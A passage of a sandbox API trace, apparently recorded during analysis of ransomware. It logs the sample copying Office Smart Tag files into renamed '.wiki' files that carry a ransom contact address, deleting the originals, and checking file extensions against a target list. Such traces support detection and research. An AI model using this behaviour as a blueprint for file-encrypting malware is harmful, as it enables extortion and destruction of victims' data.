Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.868] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1844) returned 1 [0049.868] CloseHandle (hObject=0x1f0) returned 1 [0049.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0049.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.868] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.868] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.869] GetLastError () returned 0x0 [0049.869] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x734, lpOverlapped=0x0) returned 1 [0049.870] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x740, lpOverlapped=0x0) returned 1 [0049.871] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.871] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.871] SetEndOfFile (hFile=0x214) returned 1 [0049.871] CloseHandle (hObject=0x214) returned 1 [0049.872] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.872] SetEndOfFile (hFile=0x1f0) returned 1 [0049.872] CloseHandle (hObject=0x1f0) returned 1 [0049.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.873] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0049.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.873] lstrlenW (lpString=".doc") returned 4 [0049.873] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.873] lstrlenW (lpString=".docx") returned 5 [0049.873] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0049.873] lstrlenW (lpString=".pdf") returned 4 [0049.873] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.873] lstrlenW (lpString=".xls") returned 4 [0049.873] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.873] lstrlenW (lpString=".xlsx") returned 5 [0049.873] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0049.873] lstrlenW (lpString=".ppt") returned 4 [0049.873] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.873] lstrlenW (lpString=".zip") returned 4 [0049.873] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.873] lstrlenW (lpString=".rar") returned 4 [0049.873] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.873] lstrlenW (lpString=".bz2") returned 4 [0049.873] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString=".7z") returned 3 [0049.874] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.874] lstrlenW (lpString=".dbf") returned 4 [0049.874] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.874] lstrlenW (lpString=".1cd") returned 4 [0049.874] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.874] lstrlenW (lpString=".jpg") returned 4 [0049.874] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.874] lstrlenW (lpString=".doc") returned 4 [0049.874] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString=".docx") returned 5 [0049.874] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0049.874] lstrlenW (lpString=".pdf") returned 4 [0049.874] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString=".xls") returned 4 [0049.874] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString=".xlsx") returned 5 [0049.874] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0049.874] lstrlenW (lpString=".ppt") returned 4 [0049.874] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.874] lstrlenW (lpString=".zip") returned 4 [0049.874] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.874] lstrlenW (lpString=".rar") returned 4 [0049.874] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString=".bz2") returned 4 [0049.874] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.874] lstrlenW (lpString=".7z") returned 3 [0049.875] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.875] lstrlenW (lpString=".dbf") returned 4 [0049.875] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.875] lstrlenW (lpString=".1cd") returned 4 [0049.875] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0049.875] lstrlenW (lpString=".jpg") returned 4 [0049.875] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.875] lstrcmpiW (lpString1=".DAT", lpString2=".wiki") returned -1 [0049.875] lstrlenW (lpString="STOCKS.DAT") returned 10 [0049.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.876] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=39017) returned 1 [0049.876] CloseHandle (hObject=0x1f0) returned 1 [0049.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0049.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.876] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.876] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.877] GetLastError () returned 0x0 [0049.877] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x9869, lpOverlapped=0x0) returned 1 [0049.879] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9870, lpOverlapped=0x0) returned 1 [0049.880] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.880] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0049.880] SetEndOfFile (hFile=0x214) returned 1 [0049.881] CloseHandle (hObject=0x214) returned 1 [0049.881] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.881] SetEndOfFile (hFile=0x1f0) returned 1 [0049.882] CloseHandle (hObject=0x1f0) returned 1 [0049.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0049.883] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0049.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.883] lstrlenW (lpString=".doc") returned 4 [0049.883] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0049.883] lstrlenW (lpString=".docx") returned 5 [0049.883] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0049.883] lstrlenW (lpString=".pdf") returned 4 [0049.883] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0049.883] lstrlenW (lpString=".xls") returned 4 [0049.883] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0049.883] lstrlenW (lpString=".xlsx") returned 5 [0049.883] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0049.883] lstrlenW (lpString=".ppt") returned 4 [0049.883] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0049.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.883] lstrlenW (lpString=".zip") returned 4 [0049.883] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0049.883] lstrlenW (lpString=".rar") returned 4 [0049.883] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0049.883] lstrlenW (lpString=".bz2") returned 4 [0049.883] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0049.883] lstrlenW (lpString=".7z") returned 3 [0049.883] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString=".dbf") returned 4 [0049.884] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString=".1cd") returned 4 [0049.884] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString=".jpg") returned 4 [0049.884] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString=".doc") returned 4 [0049.884] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString=".docx") returned 5 [0049.884] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0049.884] lstrlenW (lpString=".pdf") returned 4 [0049.884] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString=".xls") returned 4 [0049.884] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString=".xlsx") returned 5 [0049.884] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0049.884] lstrlenW (lpString=".ppt") returned 4 [0049.884] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString=".zip") returned 4 [0049.884] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString=".rar") returned 4 [0049.884] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0049.884] lstrlenW (lpString=".bz2") returned 4 [0049.884] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0049.884] lstrlenW (lpString=".7z") returned 3 [0049.884] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0049.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.884] lstrlenW (lpString=".dbf") returned 4 [0049.885] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.885] lstrlenW (lpString=".1cd") returned 4 [0049.885] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0049.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0049.885] lstrlenW (lpString=".jpg") returned 4 [0049.885] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0049.885] lstrcmpiW (lpString1=".XML", lpString2=".wiki") returned 1 [0049.885] lstrlenW (lpString="STOCKS.XML") returned 10 [0049.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.885] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2687) returned 1 [0049.885] CloseHandle (hObject=0x1f0) returned 1 [0049.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0049.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0049.886] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.886] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0049.886] GetLastError () returned 0x0 [0049.886] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0050.402] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0050.403] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.403] WriteFile (in: hFile=0x214, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.404] SetEndOfFile (hFile=0x214) returned 1 [0050.404] CloseHandle (hObject=0x214) returned 1 [0050.409] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.409] SetEndOfFile (hFile=0x1f0) returned 1 [0050.410] CloseHandle (hObject=0x1f0) returned 1 [0050.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.410] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0050.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.410] lstrlenW (lpString=".doc") returned 4 [0050.410] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.410] lstrlenW (lpString=".docx") returned 5 [0050.410] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0050.410] lstrlenW (lpString=".pdf") returned 4 [0050.410] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.410] lstrlenW (lpString=".xls") returned 4 [0050.410] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.410] lstrlenW (lpString=".xlsx") returned 5 [0050.410] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0050.410] lstrlenW (lpString=".ppt") returned 4 [0050.410] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.410] lstrlenW (lpString=".zip") returned 4 [0050.410] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.410] lstrlenW (lpString=".rar") returned 4 [0050.411] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString=".bz2") returned 4 [0050.411] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString=".7z") returned 3 [0050.411] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.411] lstrlenW (lpString=".dbf") returned 4 [0050.411] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.411] lstrlenW (lpString=".1cd") returned 4 [0050.411] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.411] lstrlenW (lpString=".jpg") returned 4 [0050.411] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.411] lstrlenW (lpString=".doc") returned 4 [0050.411] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString=".docx") returned 5 [0050.411] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0050.411] lstrlenW (lpString=".pdf") returned 4 [0050.411] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString=".xls") returned 4 [0050.411] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString=".xlsx") returned 5 [0050.411] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0050.411] lstrlenW (lpString=".ppt") returned 4 [0050.411] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.411] lstrlenW (lpString=".zip") returned 4 [0050.411] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0050.411] lstrlenW (lpString=".rar") returned 4 [0050.411] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0050.411] lstrlenW (lpString=".bz2") returned 4 [0050.411] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0050.412] lstrlenW (lpString=".7z") returned 3 [0050.412] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.412] lstrlenW (lpString=".dbf") returned 4 [0050.412] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0050.412] lstrlenW (lpString=".1cd") returned 4 [0050.412] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0050.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 